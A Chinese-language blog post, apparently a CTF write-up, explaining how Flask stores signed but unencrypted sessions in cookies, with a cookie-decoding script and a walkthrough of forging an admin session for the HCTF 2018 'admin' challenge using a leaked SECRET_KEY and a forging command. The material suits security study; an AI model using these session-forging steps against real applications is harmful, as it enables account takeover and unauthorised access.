Flask的session是存储在客户端的(可以通过HTTP请求头Cookie字段的session获取),Flask只对数据进行了签名(防篡改)没有进行加密,session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

session机制

详细可以看此文章:
flask 源码解析:session
引用p师傅的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class SecureCookieSessionInterface(SessionInterface):
serializer = session_json_serializer
session_class = SecureCookieSession

def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)

def open_session(self, app, request):
s = self.get_signing_serializer(app)
if s is None:
return None
val = request.cookies.get(app.session_cookie_name)
if not val:
return self.session_class()
max_age = total_seconds(app.permanent_session_lifetime)
try:
data = s.loads(val, max_age=max_age)
return self.session_class(data)
except BadSignature:
return self.session_class()

def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
if not self.should_set_cookie(app, session):
return
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
val = self.get_signing_serializer(app).dumps(dict(session))
response.set_cookie(app.session_cookie_name, val,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)

主要看最后两行代码,新建了URLSafeTimedSerializer类 ,用它的dumps方法将类型为字典的session对象序列化成字符串,然后用response.set_cookie将最后的内容保存在cookie中。
URLSafeTimedSerialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
class Signer(object):
# ...
def sign(self, value):
"""Signs the given string."""
return value + want_bytes(self.sep) + self.get_signature(value)

def get_signature(self, value):
"""Returns the signature for the given value"""
value = want_bytes(value)
key = self.derive_key()
sig = self.algorithm.get_signature(key, value)
return base64_encode(sig)


class Serializer(object):
default_serializer = json
default_signer = Signer
# ....
def dumps(self, obj, salt=None):
"""Returns a signed string serialized with the internal serializer.
The return value can be either a byte or unicode string depending
on the format of the internal serializer.
"""
payload = want_bytes(self.dump_payload(obj))
rv = self.make_signer(salt).sign(payload)
if self.is_text_serializer:
rv = rv.decode('utf-8')
return rv

def dump_payload(self, obj):
"""Dumps the encoded object. The return value is always a
bytestring. If the internal serializer is text based the value
will automatically be encoded to utf-8.
"""
return want_bytes(self.serializer.dumps(obj))


class URLSafeSerializerMixin(object):
"""Mixed in with a regular serializer it will attempt to zlib compress
the string to make it shorter if necessary. It will also base64 encode
the string so that it can safely be placed in a URL.
"""
def load_payload(self, payload):
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
json = base64_decode(payload)
except Exception as e:
raise BadPayload('Could not base64 decode the payload because of '
'an exception', original_error=e)
if decompress:
try:
json = zlib.decompress(json)
except Exception as e:
raise BadPayload('Could not zlib decompress the payload before '
'decoding the payload', original_error=e)
return super(URLSafeSerializerMixin, self).load_payload(json)

def dump_payload(self, obj):
json = super(URLSafeSerializerMixin, self).dump_payload(obj)
is_compressed = False
compressed = zlib.compress(json)
if len(compressed) < (len(json) - 1):
json = compressed
is_compressed = True
base64d = base64_encode(json)
if is_compressed:
base64d = b'.' + base64d
return base64d


class URLSafeTimedSerializer(URLSafeSerializerMixin, TimedSerializer):
"""Works like :class:`TimedSerializer` but dumps and loads into a URL
safe string consisting of the upper and lowercase character of the
alphabet as well as ``'_'``, ``'-'`` and ``'.'``.
"""
default_serializer = compact_json

主要关注dump_payload、dumps,这是序列化session的主要过程。

可见,序列化的操作分如下几步:

  1. json.dumps 将对象转换成json字符串,作为数据
  2. 如果数据压缩后长度更短,则用zlib库进行压缩
  3. 将数据用base64编码
  4. 通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割

第4步就解决了用户篡改session的问题,因为在不知道secret_key的情况下,是无法伪造签名的。

session解密

session 在 cookie 中的值,是一个字符串,由句号分割成三个部分。第一部分是 base64 加密的数据,第二部分是时间戳,第三部分是校验信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
from itsdangerous import *
import time
s = "eyJ1c2VybmFtZSI6InllMXMifQ.XxU53w.L7_pVjkrwxpqtG1r8_RwZvMMWK0"
data,timestamp,secret = s.split('.')
print("data: ",base64_decode(data))
time_stamp=int.from_bytes(base64_decode(timestamp),byteorder='big')
time=time.strftime("%Y-%m-%d %H:%I%S",time.localtime(time_stamp))
print("time: ",time)


result:
data: b'{"username":"ye1s"}'
time: 2020-07-20 14:0251

P师傅的脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import zlib
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
s="eyJ1c2VybmFtZSI6InllMXMifQ.XxU53w.L7_pVjkrwxpqtG1r8_RwZvMMWK0"#替换为你的session字符串
print(decryption(s.encode()))

例题

[HCTF 2018]admin
随便注册一个账号登录,在修改密码的地方,提示源码

1
https://github.com/woadsl1234/hctf_flask/

HCTF2018-admin

解法一:session伪造
注册一个账号后登入,抓包得到cookie的session,解密得

1
{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'test', 'user_id': '10'}

如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,在config.py里可以发现了SECRET_KEY。

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

一个flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager

利用刚刚得到的SECRET_KEY,在将解密出来的name改为admin,最后用脚本生成我们想要的session即可
加密

1
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'admin', 'user_id': '10'}"

参考文章:

Python Web之flask session&格式化字符串漏洞
客户端 session 导致的安全问题
从HCTF两道Web题谈谈flask客户端session机制
flask 源码解析:session